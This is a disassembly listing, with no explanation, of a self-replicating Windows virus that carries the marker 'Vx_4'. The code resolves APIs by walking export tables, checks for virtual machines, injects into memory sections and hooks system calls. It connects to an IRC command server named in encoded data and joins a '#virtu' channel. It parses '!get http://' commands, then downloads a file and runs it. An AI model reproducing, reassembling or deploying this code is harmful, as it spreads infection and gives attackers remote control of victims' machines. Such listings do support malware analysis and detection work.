		mov	fs:0, ebx
		xchg	ebx, ebx
		clc
		clc
		clc
		leave
		jmp	edx
sub_412070	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		jmp	short $+2

; =============== S U B	R O U T	I N E =======================================



sub_4120C2	proc near		; CODE XREF: __u_____:0041200Dp

arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_C]


loc_4120C6:				; CODE XREF: sub_41201D+42j
		pop	dword ptr [eax+0B8h]
		xor	eax, eax
		retn
sub_4120C2	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 89h,	0C9h
; ---------------------------------------------------------------------------
		jmp	short $+2
		call	$+5
		cld
		mov	eax, [esp]
		mov	ecx, [eax+29BBh]
		mov	[eax+3303h], ebx
		and	ecx, 400000h
		mov	ebx, [esp+4]
		jz	short loc_412120
		pop	ecx
		mov	[eax+3307h], esi
		mov	cl, [eax+29BFh]
		mov	[eax+330Bh], edi
		cmp	cl, 0E8h
		jz	short loc_412114
		mov	ebx, [eax+29C1h]
		jmp	short loc_41211E
; ---------------------------------------------------------------------------


loc_412114:				; CODE XREF: __u_____:0041210Aj
		mov	ecx, [eax+29C0h]
		mov	ebx, [ecx+ebx+2]


loc_41211E:				; CODE XREF: __u_____:00412112j
		mov	ebx, [ebx]


loc_412120:				; CODE XREF: __u_____:004120F2j
		push	ebp
		mov	ebp, eax
		sub	dword ptr [esp+4], 80D8h
		sub	ebp, 101005h
		mov	edi, [esp+4]
		lea	esi, [ebp+1039CCh]
		mov	ecx, 0
		rep movsb
		sldt	cx
		test	ecx, ecx
		jnz	short loc_41214E
		or	eax, 0FFFFFFFFh
		int	2Eh		; DOS 2+ internal - EXECUTE COMMAND
					; DS:SI	-> counted CR-terminated command string


loc_41214E:				; CODE XREF: __u_____:00412147j
		and	ebx, 0FFFFF000h


loc_412154:				; CODE XREF: __u_____:00412163j
		cmp	dword ptr [ebx+4Eh], 73696854h
		jz	short loc_412165


loc_41215D:				; CODE XREF: __u_____:00412172j
		sub	ebx, 100h
		jnz	short loc_412154


loc_412165:				; CODE XREF: __u_____:0041215Bj
		mov	eax, ebx
		add	eax, [ebx+3Ch]
		mov	edx, [eax+78h]
		cmp	word ptr [eax],	4550h
		jnz	short loc_41215D
		add	edx, ebx
		mov	esi, [edx+20h]
		mov	ecx, [edx+18h]
		add	esi, ebx
		push	ecx


loc_41217F:				; CODE XREF: __u_____:loc_412193j
		lodsd
		add	eax, ebx
		cmp	word ptr [eax+2], 5074h
		jnz	short loc_412193
		cmp	dword ptr [eax+5], 6441636Fh
		jz	short loc_412198


loc_412193:				; CODE XREF: __u_____:00412188j
		loop	loc_41217F
		pop	ecx
		jmp	short loc_4121C3
; ---------------------------------------------------------------------------


loc_412198:				; CODE XREF: __u_____:00412191j
		sub	[esp], ecx
		mov	esi, [edx+24h]
		pop	ecx
		add	esi, ebx
		movzx	eax, word ptr [esi+ecx*2]
		mov	edi, [edx+1Ch]
		add	edi, ebx
		mov	esi, [edi+eax*4]
		add	esi, ebx
		lea	eax, [ebp+101137h]
		lea	ecx, [ebp+101120h]
		mov	dx, [eax-19h]
		call	ecx
		jmp	short loc_41220A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_412251


loc_4121C3:				; CODE XREF: __u_____:00412196j
					; sub_412251+10j ...
		mov	eax, [ebp+1039C0h]
		and	eax, 400000h
		jz	short loc_4121EF
		lea	esi, [ebp+1039C4h]
		lodsd
		mov	edi, [esp+arg_0]
		stosd
		mov	ebx, [ebp+104308h]
		movsb
		mov	edi, [ebp+104310h]
		mov	esi, [ebp+10430Ch]


loc_4121EF:				; CODE XREF: sub_412251-83j
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_412251
; ---------------------------------------------------------------------------
		or	al, ah
		push	ebx
		mov	ecx, 2889h
		mov	ebx, edx


loc_4121FB:				; CODE XREF: __u_____:00412206j
		xor	[eax], dl
		sub	dl, bl
		add	eax, 1
		xchg	bl, bh
		xchg	dl, dh
		loop	loc_4121FB
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41220A:				; CODE XREF: __u_____:004121C1j
		call	near ptr loc_412219+2
		inc	ebx
		insb
		outsd
		jnb	short near ptr loc_412276+3
		dec	eax
		popa
		outsb
		db	64h
		insb


loc_412219:				; CODE XREF: __u_____:loc_41220Ap
		add	gs:[ebx-1], dl
		setalc
		mov	[ebp+103E62h], eax
		call	near ptr loc_412235+1
		inc	ebx
		jb	short loc_412291
		popa
		jz	short near ptr loc_412293+1
		inc	ebp
		jbe	short near ptr loc_412293+4
		outsb
		jz	short loc_412276


loc_412235:				; CODE XREF: __u_____:00412224p
		add	[ebx-1], dl
		setalc
		mov	[ebp+103E66h], eax
		call	sub_412251
		inc	edi
		db	65h
		jz	short near ptr loc_412293+1
		popa
		jnb	short near ptr loc_4122BD+2
		inc	ebp
		jb	short near ptr loc_4122BD+3
		outsd
		jb	short $+2

; =============== S U B	R O U T	I N E =======================================



sub_412251	proc near		; CODE XREF: __u_____:0041223Fp

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 004121C3 SIZE 0000002E BYTES
; FUNCTION CHUNK AT 00412607 SIZE 0000000B BYTES

		push	ebx
		call	esi
		mov	[ebp+103E6Ah], eax
		call	sub_412632
		test	eax, eax
		jz	loc_4121C3
		push	eax
		call	dword ptr [ebp+103E6Ah]
		test	eax, eax
		jnz	loc_412607


loc_412276:				; CODE XREF: __u_____:00412233j
					; __u_____:00412212j
		cmp	byte ptr [ebp+10153Fh],	1
		jnz	short loc_412293
		push	dword ptr [ebp+104308h]
		dec	byte ptr [ebp+10153Fh]
		pop	dword ptr [ebp+101598h]


loc_412291:				; CODE XREF: __u_____:0041222Aj
		jmp	short loc_41229A
; ---------------------------------------------------------------------------


loc_412293:				; CODE XREF: sub_412251+2Cj
					; __u_____:0041222Dj ...
		and	dword ptr [ebp+101598h], 0


loc_41229A:				; CODE XREF: sub_412251:loc_412291j
		and	dword ptr [ebp+101588h], 0
		and	dword ptr [ebp+10158Ch], 0
		and	dword ptr [ebp+101590h], 0
		push	edi
		mov	byte ptr [ebp+1012D4h],	1
		mov	[ebp+103E6Eh], esi


loc_4122BD:				; CODE XREF: __u_____:00412249j
					; __u_____:0041224Cj
		lea	esi, [ebp+101604h]
		xor	ecx, ecx
		lea	edi, [ebp+103E7Ah]
		mov	cl, 20h
		call	sub_41266F
		pop	edi
		call	dword ptr [ebp+103EBAh]
		shr	eax, 1Fh
		jz	loc_4123B6
		mov	eax, [edi+14h]
		push	40h
		add	eax, ebx
		push	8001000h
		mov	[ebp+103E72h], eax
		push	7328h
		push	0
		call	dword ptr [ebp+103EF2h]
		test	eax, eax
		jz	loc_412607
		xchg	eax, edi
		lea	esi, [ebp+7A28C600h]
		xchg	ch, bh
		mov	ecx, 0CCAh
		sub	ebp, 101000h
		lea	edx, [ebp+101254h]
		rep movsd
		jmp	edx
; ---------------------------------------------------------------------------
		sub	esp, 20h
		mov	edi, esp
		push	8
		xor	eax, eax
		pop	ecx
		lea	edx, [ebp+101B4Dh]
		rep stosd
		mov	edi, esp
		mov	[edi+10h], edx
		inc	byte ptr [edi+1Ch]
		push	edi
		push	10003h
		call	dword ptr [ebp+103E72h]
		add	esp, 20h
		test	eax, eax
		jz	loc_412607
		xchg	eax, edi
		push	0
		push	1
		push	80000400h
		push	10000h
		call	dword ptr [ebp+103E72h]
		test	eax, eax
		jz	loc_412607
		push	0
		push	eax
		push	40000h
		push	0
		shr	eax, 0Ch
		push	edi
		push	1
		push	eax
		push	10001h
		call	dword ptr [ebp+103E72h]
		push	1000Ah
		call	dword ptr [ebp+103E72h]
		call	loc_4123A6
		jmp	loc_412607
; ---------------------------------------------------------------------------


loc_4123A6:				; CODE XREF: sub_412251+14Bp
					; sub_412251+162j
		push	1
		pop	ecx
		jecxz	short locret_4123B5
		push	0Ah
		call	dword ptr [ebp+103EE6h]
		jmp	short loc_4123A6
; ---------------------------------------------------------------------------

locret_4123B5:				; CODE XREF: sub_412251+158j
		retn
; ---------------------------------------------------------------------------


loc_4123B6:				; CODE XREF: sub_412251+8Bj
		cmp	dword ptr [ebp+103E92h], 0
		jz	loc_412607
		call	near ptr loc_4123CD+1
		dec	esi
		push	esp
		inc	esp
		dec	esp
		dec	esp


loc_4123CD:				; CODE XREF: sub_412251+172p
		add	bh, bh
sub_412251	endp ; sp-analysis failed

		xchg	eax, ebp
		scasb
		db	3Eh
		adc	[eax], al
		lea	esi, [ebp+1017DEh]
		xor	ecx, ecx
		lea	edi, [ebp+103EFAh]
		mov	cl, 0Eh
		xchg	eax, ebx
		call	sub_41266F
		cmp	dword ptr [ebp+103F2Eh], 0
		jz	loc_412607
		mov	eax, [ebp+103EFEh]
		push	dword ptr [eax+1]
		pop	dword ptr [ebp+103917h]
		mov	eax, [ebp+103F16h]
		push	dword ptr [eax+1]
		pop	dword ptr [ebp+103964h]
		mov	eax, [ebp+103F02h]
		push	dword ptr [eax+1]
		pop	dword ptr [ebp+10396Bh]
		cmp	dword ptr [ebp+10396Bh], 10000h
		jnb	loc_412607
		mov	ecx, [ebp+103F06h]
		jecxz	short loc_412456
		push	dword ptr [ecx+1]
		pop	dword ptr [ebp+103978h]
		mov	ecx, [ebp+103F0Eh]
		jecxz	short loc_412456
		push	dword ptr [ecx+1]
		pop	dword ptr [ebp+103985h]


loc_412456:				; CODE XREF: __u_____:0041243Aj
					; __u_____:0041244Bj
		call	sub_412613
		lea	edi, [ebp+103F84h]
		mov	ecx, edi
		push	0
		neg	cl
		push	dword ptr [eax+4]
		and	ecx, 3
		push	40h
		add	edi, ecx
		push	edi
		push	0
		push	18h
		lea	esi, [ebp+1015EBh]
		mov	ecx, 19h
		lea	eax, ds:0FFFFFFFEh[ecx*2]
		stosw
		lea	eax, ds:0[ecx*2]
		stosw
		lea	eax, [edi+4]
		stosd
		xor	ah, ah
		lea	edx, [ebp+103E30h]


loc_41249F:				; CODE XREF: __u_____:004124A8j
		lodsb
		mov	[edx], ax
		stosw
		add	edx, 2
		loop	loc_41249F
		mov	edx, esp
		push	0
		push	7328h
		mov	ecx, esp
		push	0
		mov	eax, esp
		push	0
		push	8000000h
		push	40h
		push	ecx
		push	edx
		push	0Eh
		push	eax
		call	dword ptr [ebp+103F0Ah]
		pop	eax
		add	esp, 40h
		push	7328h
		mov	edx, esp
		push	0
		mov	ecx, esp
		push	40h
		push	0
		push	2
		push	edx
		push	0
		push	7328h
		push	0
		push	ecx
		push	0FFFFFFFFh
		push	eax
		call	dword ptr [ebp+103F12h]
		pop	edi
		pop	ecx
		test	edi, edi
		jz	loc_412607
		lea	esi, [ebp+101000h]
		mov	ecx, 0CCAh
		mov	ebp, edi
		rep movsd
		sub	ebp, 101000h
		lea	eax, [ebp+10144Ah]
		jmp	eax
; ---------------------------------------------------------------------------
		db 50h,	54h, 6Ah
		dd 0FFFF6A20h, 103F1A95h, 5FC08500h, 4FE83475h,	0E8000001h
		dd 11h,	65446553h, 50677562h, 69766972h, 6567656Ch, 50E85700h
		dd 0FF000005h, 104288B5h, 9E95FF00h, 5700103Eh,	3E6295FFh
		dd 6A0010h, 95FF026Ah, 103E92h,	128B9h,	0E12B9700h, 54240C89h
		dd 0D695FF57h, 3300103Eh, 72A583F6h, 103Fh, 95FF5754h
		dd 103EDAh, 6674C085h, 4FE8346h, 74FFEE72h, 6A0824h, 95FF2A6Ah
		dd 103ED2h, 0DC74C085h,	588E893h, 0C9330000h, 393AE391h
		dd 103F7285h, 81327500h, 6324247Ch, 74737273h, 0AFC18128h
		dd 5000000Eh, 51565054h, 0FF535050h, 103E8A95h,	59C08500h
		dd 74FF0F74h, 858F0824h, 103F72h, 0FFFDB5E8h, 95FF53FFh
		dd 103E62h, 0C4818EEBh,	128h, 6295FF57h
		db 3Eh,	10h, 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_412251


loc_412607:				; CODE XREF: sub_412251+1Fj
					; sub_412251+B2j ...
		call	dword ptr [ebp+103E62h]
		jmp	loc_4121C3
; END OF FUNCTION CHUNK	FOR sub_412251
; ---------------------------------------------------------------------------
		db 0

; =============== S U B	R O U T	I N E =======================================



sub_412613	proc near		; CODE XREF: __u_____:loc_412456p
					; sub_412632+2p
		pop	edx
		push	0
		push	0
		push	0
		push	0
		push	40001h
		mov	eax, esp
		push	0
		push	eax
		push	0Ch
		mov	eax, esp
		jmp	edx
sub_412613	endp

; ---------------------------------------------------------------------------
aVx_4_0		db 'Vx_4',0
		align 2

; =============== S U B	R O U T	I N E =======================================



sub_412632	proc near		; CODE XREF: sub_412251+9p
					; __u_____:loc_41302Dp
		xor	ecx, ecx
		call	sub_412613
		lea	edx, [ebp+101559h]
		push	edx
		push	ecx
		push	ecx
		push	eax
		call	dword ptr [ebp+103E66h]
		add	esp, 20h
		retn
sub_412632	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 8Bh,	0FFh
		db 58h
		dd 28005858h, 73000033h, 0Eh, 2	dup(0)
		dd 0C0000000h, 29h
		db 3 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_41266F	proc near		; CODE XREF: sub_412251+7Cp
					; __u_____:004123E5p ...
		push	ecx
		push	esi
		push	ebx
		call	dword ptr [ebp+103E6Eh]
		stosd
		pop	ecx


loc_41267A:				; CODE XREF: sub_41266F+Ej
		lodsb
		test	al, al
		jnz	short loc_41267A
		loop	sub_41266F
		retn
sub_41266F	endp

; ---------------------------------------------------------------------------
		dw 958Dh
		dd 101985h, 0C695FF52h,	8900103Eh, 10428885h, 16E800h
		dd 6F4C0000h, 70756B6Fh, 76697250h, 67656C69h, 6C615665h
		dd 416575h, 6E95FF50h, 8900103Eh, 10428C85h, 425CC300h
		dd 4E657361h, 64656D61h, 656A624Fh, 5C737463h, 65537456h
		dd 6C007463h, 6C727473h, 43006E65h, 74616572h, 6C694665h
		dd 43004165h, 74616572h, 6C694665h, 70614D65h, 676E6970h
		dd 72430041h, 65746165h, 636F7250h, 41737365h, 65724300h
		dd 52657461h, 746F6D65h, 72685465h, 646165h, 61657243h
		dd 68546574h, 64616572h, 65724300h, 54657461h, 686C6F6Fh
		dd 33706C65h, 616E5332h, 6F687370h, 78450074h, 68547469h
		dd 64616572h, 6C694600h, 6D695465h, 536F5465h, 65747379h
		dd 6D69546Dh, 72460065h, 694C6565h, 72617262h, 65470079h
		dd 6C694674h, 74744165h, 75626972h, 41736574h, 74654700h
		dd 656C6946h, 657A6953h, 74654700h, 656C6946h, 656D6954h
		dd 74654700h, 75646F4Dh, 6148656Ch, 656C646Eh, 65470041h
		dd 6D655474h, 6C694670h, 6D614E65h, 47004165h, 65547465h
		dd 6150706Dh, 416874h, 56746547h, 69737265h, 47006E6Fh
		dd 65567465h, 6F697372h, 4178456Eh, 74654700h, 756C6F56h
		dd 6E49656Dh, 6D726F66h, 6F697461h, 4C00416Eh, 4C64616Fh
		dd 61726269h, 417972h, 5670614Dh, 4F776569h, 6C694666h
		dd 704F0065h, 69466E65h, 614D656Ch, 6E697070h, 4F004167h
		dd 506E6570h, 65636F72h, 50007373h, 65636F72h, 32337373h
		dd 73726946h, 72500074h, 7365636Fh, 4E323373h, 747865h
		dd 46746553h, 41656C69h, 69727474h, 65747562h, 53004173h
		dd 69467465h, 6954656Ch, 5300656Dh, 7065656Ch, 73795300h
		dd 546D6574h, 54656D69h, 6C69466Fh, 6D695465h, 6E550065h
		dd 5670616Dh, 4F776569h, 6C694666h, 69560065h, 61757472h
		dd 6C6C416Ch, 5700636Fh, 65746972h, 656C6946h, 41744E00h
		dd 73756A64h, 69725074h, 656C6976h, 54736567h, 6E656B6Fh
		dd 43744E00h, 74616572h, 6C694665h, 744E0065h, 61657243h
		dd 72506574h, 7365636Fh, 744E0073h, 61657243h, 72506574h
		dd 7365636Fh, 784573h, 7243744Eh, 65746165h, 74636553h
		dd 6E6F69h, 7243744Eh, 65746165h, 72657355h, 636F7250h
		dd 737365h, 614D744Eh, 65695670h, 53664F77h, 69746365h
		dd 4E006E6Fh, 65704F74h, 6C69466Eh, 744E0065h, 6E65704Fh
		dd 636F7250h, 54737365h, 6E656B6Fh, 4F744E00h, 536E6570h
		dd 69746365h, 4E006E6Fh, 6F725074h, 74636574h, 74726956h
		dd 4D6C6175h, 726F6D65h, 744E0079h, 72657551h, 666E4979h
		dd 616D726Fh, 6E6F6974h, 656B6F54h, 744E006Eh, 74697257h
		dd 72695665h, 6C617574h, 6F6D654Dh, 52007972h, 6E556C74h
		dd 646F6369h, 72745365h, 54676E69h, 736E416Fh, 72745369h
		dd 676E69h, 53415357h, 74726174h, 63007075h, 65736F6Ch
		dd 6B636F73h, 63007465h, 656E6E6Fh, 67007463h, 6F687465h
		dd 79627473h, 656D616Eh, 63657200h, 65730076h, 7300646Eh
		dd 656B636Fh, 6E490074h, 6E726574h, 6C437465h, 4865736Fh
		dd 6C646E61h, 6E490065h, 6E726574h, 65477465h, 6E6F4374h
		dd 7463656Eh, 74536465h, 657461h, 65746E49h, 74656E72h
		dd 6E65704Fh, 6E490041h, 6E726574h, 704F7465h, 72556E65h
		dd 4900416Ch, 7265746Eh, 5274656Eh, 46646165h, 656C69h
		dd 41564441h, 32334950h, 4C4C442Eh, 67655200h, 736F6C43h
		dd 79654B65h, 67655200h, 6E65704Fh, 4579654Bh, 52004178h
		dd 75516765h, 56797265h, 65756C61h, 417845h, 53676552h
		dd 61567465h, 4565756Ch, 56004178h, 26AF633h, 0D48B5656h
		dd 0FF52016Ah, 0FF561872h, 10428C95h, 56C48B00h, 56505656h
		dd 0FF1870FFh, 103EFA95h, 10C48300h, 8C25Eh, 2BFB498Dh
		dd 6851C8h, 8DE80000h, 6A03244Ch, 51056A00h, 56A5350h
		dd 8B50CC8Bh, 6A5450D4h, 53525140h, 3F2295FFh, 0C4830010h
		dd 2A95FF0Ch, 8300103Fh, 8DC308C4h, 103E3095h, 6AC93300h
		dd 30685200h, 8B003200h, 6A5151C4h, 6A515040h, 8C08318h
		dd 500E6A54h, 3F1E95FFh, 0C4830010h, 85D23320h,	0C2990FC0h
		dd 2358DAF7h, 3357C3C2h, 0FFC1E8FFh, 840FFFFFh,	0A5h, 73286850h
		dd 0D48B0000h, 0CC8B006Ah, 68406Ah, 6A001000h, 6A5202h
		dd 732868h, 51006A00h, 95FF5053h, 103F12h, 95FF595Fh, 103E62h
		dd 7174FF85h, 15908D8Bh, 0CE30010h, 1000958Dh, 0D1030010h
		dd 0D2FF5357h, 3EFE858Bh, 8F8D0010h, 2916h, 0FFFF2BE8h
		dd 16858BFFh, 8D00103Fh, 29638Fh, 0FF1AE800h, 858BFFFFh
		dd 103F02h, 296A8F8Dh, 9E80000h, 8BFFFFFFh, 103F0685h
		dd 74C08500h, 778F8D20h, 0E8000029h, 0FFFFFEF4h, 3F0E858Bh
		dd 0C0850010h, 8F8D0B74h, 2984h, 0FFFEDFE8h, 5FC78BFFh
		dd 0E855C3h, 5D000000h,	1B24ED81h, 0C9330010h, 1EAF858Dh
		dd 54510010h, 51505151h, 8E95FF51h, 8700103Eh, 95FF2404h
		dd 103E62h, 4C25Dh, 0E855h, 815D0000h, 101B53EDh, 8DFF6A00h
		dd 101B1E95h, 0CD525000h, 2A002420h, 0CC48300h,	6485C766h
		dd 0CD00101Bh, 6685C720h, 2400101Bh, 5D002A00h,	581A6AC3h
		dd 9E8h, 61428D00h, 75C9FEAAh, 9569C3F0h, 103F7Ch, 8088405h
		dd 7C958942h, 0F700103Fh, 0E855C3E2h, 0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 101BADh
		mov	ebx, [ebp+103F80h]
		cmp	dword ptr [esp+8], 0
		jz	loc_412D51
		sub	esp, 208h
		push	esp
		push	104h
		call	dword ptr [ebp+103EB6h]
		mov	edi, esp
		lea	eax, [esp+104h]
		push	eax
		push	0
		call	near ptr loc_412CBE+1
		push	esi
		push	edx
		push	edx


loc_412CBE:				; CODE XREF: __u_____:00412CB6p
		add	[edi-1], dl
		xchg	eax, ebp
		mov	dl, 3Eh
		adc	[eax], al
		xor	ecx, ecx
		lea	edx, [edi+104h]
		push	ecx
		push	ecx
		push	2
		push	ecx
		push	1
		push	40000000h
		push	edx
		call	dword ptr [ebp+103E7Eh]
		xchg	eax, esi
		test	esi, esi
		jz	short loc_412D41


loc_412CE6:				; CODE XREF: __u_____:00412D14j
		push	eax
		push	esp
		push	104h
		push	edi
		push	dword ptr [esp+220h]
		call	dword ptr [ebp+103F5Eh]
		pop	ecx
		test	eax, eax
		jz	short loc_412D16
		jecxz	short loc_412D16
		push	eax
		mov	edx, esp
		push	0
		push	edx
		push	ecx
		push	edi
		push	esi
		call	dword ptr [ebp+103EF6h]
		pop	ecx
		test	eax, eax
		jnz	short loc_412CE6


loc_412D16:				; CODE XREF: __u_____:00412CFEj
					; __u_____:00412D00j
		push	esi
		call	dword ptr [ebp+103E62h]
		lea	edx, [edi+44h]
		push	edx
		push	edi
		push	44h
		pop	eax
		lea	edx, [edi+104h]
		stosd
		xor	eax, eax
		push	10h
		pop	ecx
		rep stosd
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	edx
		call	dword ptr [ebp+103E86h]


loc_412D41:				; CODE XREF: __u_____:00412CE4j
		add	esp, 208h
		push	dword ptr [esp+8]
		call	dword ptr [ebp+103F4Eh]


loc_412D51:				; CODE XREF: __u_____:00412C92j
		push	ebx
		call	dword ptr [ebp+103F4Eh]
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------
		cmp	byte ptr [esi],	0Ah
		jnz	short loc_412D62
		inc	esi


loc_412D62:				; CODE XREF: __u_____:00412D5Fj
		mov	ecx, [ebp+10158Ch]
		jecxz	short loc_412D83
		lea	edx, [ebp+101000h]
		add	edx, ecx
		push	esi
		call	edx
		test	al, al
		js	loc_412E9C
		jz	loc_412E93


loc_412D83:				; CODE XREF: __u_____:00412D68j
		cmp	byte ptr [esi],	3Ah
		jnz	short loc_412D98


loc_412D88:				; CODE XREF: __u_____:00412D95j
		inc	esi
		cmp	byte ptr [esi],	0
		jz	loc_412E93
		cmp	byte ptr [esi],	20h
		jnz	short loc_412D88
		inc	esi


loc_412D98:				; CODE XREF: __u_____:00412D86j
		cmp	dword ptr [esi], 474E4950h
		jnz	short loc_412DE2
		mov	ecx, edi
		mov	byte ptr [esi+1], 4Fh
		sub	ecx, esi
		push	ecx
		push	0
		push	ecx
		push	esi
		push	ebx
		call	dword ptr [ebp+103F46h]
		pop	ecx
		cmp	eax, ecx
		jnz	loc_412E9C
		lea	eax, [ebp+101EA3h]
		push	0
		push	0Ch
		push	eax
		push	ebx
		call	dword ptr [ebp+103F46h]
		cmp	eax, 0Ch
		jnz	loc_412E9C
		jmp	loc_412E93
; ---------------------------------------------------------------------------


loc_412DE2:				; CODE XREF: __u_____:00412D9Ej
		cmp	dword ptr [esi], 56495250h
		jnz	loc_412E93
		add	esi, 8


loc_412DF1:				; CODE XREF: __u_____:00412DFCj
		lodsb
		cmp	al, 0Dh
		jz	loc_412E93
		cmp	al, 20h
		jnz	short loc_412DF1
		lodsb
		cmp	al, 3Ah
		jnz	loc_412E93
		lodsd
		or	eax, 20202020h
		cmp	eax, 74656721h
		jnz	short loc_412E93
		lodsb
		cmp	al, 20h
		jnz	short loc_412E95
		cmp	dword ptr [esi-1], 74746820h
		jnz	short loc_412E93
		cmp	dword ptr [esi+3], 2F2F3A70h
		jnz	short loc_412E93
		mov	byte ptr [edi-1], 0
		rdtsc
		mov	edx, 2710h
		mul	edx
		push	edx
		call	dword ptr [ebp+103EE6h]
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		call	near ptr loc_412E51+2
		inc	esp
		outsd
		ja	short loc_412EBC
		insb
		outsd
		popa


loc_412E51:				; CODE XREF: __u_____:00412E45p
		db	64h
		add	bh, bh
		xchg	eax, ebp
		push	esi
		aas
		adc	[eax], al
		test	eax, eax
		jz	short loc_412E93
		xor	ecx, ecx
		mov	[ebp+103F80h], eax
		push	ecx
		push	80000200h
		push	ecx
		push	ecx
		push	esi
		push	eax
		call	dword ptr [ebp+103F5Ah]
		lea	edx, [ebp+101BA7h]
		push	eax
		xor	ecx, ecx
		push	esp
		push	ecx
		push	eax
		push	edx
		push	ecx
		push	ecx
		call	dword ptr [ebp+103E8Eh]
		xchg	eax, [esp]
		call	dword ptr [ebp+103E62h]


loc_412E93:				; CODE XREF: __u_____:00412D7Dj
					; __u_____:00412D8Cj ...
		clc
		retn
; ---------------------------------------------------------------------------


loc_412E95:				; CODE XREF: __u_____:00412E17j
		or	byte ptr [ebp+10157Fh],	1


loc_412E9C:				; CODE XREF: __u_____:00412D77j
					; __u_____:00412DB7j ...
		stc
		retn
; ---------------------------------------------------------------------------
		push	1
		push	1
		push	dword ptr [ebx]
		push	dword ptr [ebx+4]
		call	dword ptr ds:5A74C085h ; CODE XREF: __u_____:0041300Dp
		xor	ebx, ebx
		mov	edx, eax
		mov	bl, 0Bh
		add	edx, [eax+3Ch]
		lea	esi, [ebp+101DCBh]


loc_412EBC:				; CODE XREF: __u_____:00412E4Cj
		mov	edi, [edx+10Ch]
		mov	ecx, [edx+108h]
		add	edi, eax
		sub	ecx, ebx


loc_412ECC:				; CODE XREF: __u_____:00412ED5j
		pusha
		mov	ecx, ebx
		repe cmpsb
		popa
		jz	short loc_412ED9
		inc	edi
		loop	loc_412ECC
		jmp	short locret_412F07
; ---------------------------------------------------------------------------


loc_412ED9:				; CODE XREF: __u_____:00412ED2j
		add	edi, 0Fh
		push	ebx
		mov	ecx, esp
		push	edi
		mov	edx, esp
		push	eax
		push	esp
		push	40h
		push	ecx
		push	edx
		push	0FFFFFFFFh
		call	dword ptr [ebp+103F22h]
		mov	ecx, [ebp+103E96h]
		add	esp, 0Ch
		sub	ecx, edi
		sub	ecx, 7
		mov	dword ptr [edi], 0E8006Ah
		mov	[edi+3], ecx

locret_412F07:				; CODE XREF: __u_____:00412ED7j
		retn
; ---------------------------------------------------------------------------
aSoftwareMicr_1	db 'SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer',0
aTargethost	db 'TargetHost',0
		dw 2
		dd 5000h, 72700000h, 6D69786Fh,	6372692Eh, 616C6167h, 702E7978h
		dd 494E006Ch, 68204B43h, 666A6E6Fh, 0A6F637Ah, 52455355h
		dd 4F4A6C20h, 26204E49h, 74726976h, 0E8550A75h,	0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 101EB5h
		mov	byte ptr [ebp+10157Fh],	0
		call	dword ptr [ebp+103EBAh]
		shr	eax, 1Fh
		jz	short loc_412FDD
		push	1Eh
		mov	esi, [ebp+103E72h]
		pop	ecx


loc_412FAA:				; CODE XREF: __u_____:loc_412FD9j
		lodsb
		cmp	al, 2Eh
		jnz	short loc_412FD9
		cmp	word ptr [esi],	1DFFh
		jnz	short loc_412FD9
		lea	edi, [ebp+103F76h]
		mov	esi, [esi+2]
		push	edi
		movsd
		movsw
		lea	eax, [ebp+1038ECh]
		pop	dword ptr [ebp+103912h]
		cli
		mov	[esi-6], eax
		mov	word ptr [esi-2], cs
		sti
		mov	cl, 1


loc_412FD9:				; CODE XREF: __u_____:00412FADj
					; __u_____:00412FB4j
		loop	loc_412FAA
		jmp	short loc_41302D
; ---------------------------------------------------------------------------


loc_412FDD:				; CODE XREF: __u_____:00412F9Fj
		call	near ptr dword_412684+47Fh
		cmp	dword ptr [esp+8], 4
		jnz	short loc_41302D
		call	near ptr loc_412FF5+1
		push	ebx
		inc	esi
		inc	ebx
		db	2Eh
		inc	esp
		dec	esp
		dec	esp


loc_412FF5:				; CODE XREF: __u_____:00412FE9p
		add	bh, bh
		xchg	eax, ebp
		mov	byte ptr [esi],	10h
		add	[ebx], cl
		sal	byte ptr [ebp+ecx-6Dh],	6Ah
		add	dl, [ebx-1]
		xchg	eax, ebp
		outsb
		db	3Eh
		adc	[eax], al
		call	eax	; ExitProcess
		xchg	eax, ebx
		call	near ptr loc_412EA7+2
		call	near ptr loc_413021+1
		push	ebx
		inc	esi
		inc	ebx
		pop	edi
		dec	edi
		push	ebx
		db	2Eh
		inc	esp
		dec	esp
		dec	esp


loc_413021:				; CODE XREF: __u_____:00413012p
		add	bh, bh
		xchg	eax, ebp
		mov	byte ptr [esi],	10h
		add	al, ch


loc_413029:				; CODE XREF: __u_____:loc_413029j
		jl	short loc_413029
; ---------------------------------------------------------------------------
		db 0FFh
		db 0FFh
; ---------------------------------------------------------------------------


loc_41302D:				; CODE XREF: __u_____:00412FDBj
					; __u_____:00412FE7j
		call	sub_412632
		dec	dword ptr [ebp+1012D4h]
		xor	ecx, ecx
		lea	eax, [ebp+104324h]
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	eax
		push	ecx
		push	ecx
		push	ecx
		call	dword ptr [ebp+103EC2h]
		call	near ptr loc_41305D+1
		push	ebp
		push	ebx
		inc	ebp
		push	edx
		xor	esi, [edx]
		db	2Eh
		inc	esp
		dec	esp
		dec	esp


loc_41305D:				; CODE XREF: __u_____:0041304Ep
		add	bh, bh
		xchg	eax, ebp
		mov	byte ptr [esi],	10h
		add	al, ch
		or	al, [eax]
; ---------------------------------------------------------------------------
		db 0
		dd 70737700h, 746E6972h, 50004166h, 3E6E95FFh, 85890010h
		dd 103E76h, 8D8D310Fh, 101985h,	3F7C8589h, 0FF510010h
		dd 103EC695h, 4689300h,	8D000000h, 101992B5h, 0BD8D5900h
		dd 103F62h, 0FFF5C2E8h,	85C766FFh, 101E75h, 0A5835000h
		dd 101E77h, 35958D00h, 5000101Eh, 6A016A54h, 2685200h
		dd 0FF800000h, 103F6695h, 5AC08500h, 8D8D2275h,	101E68h
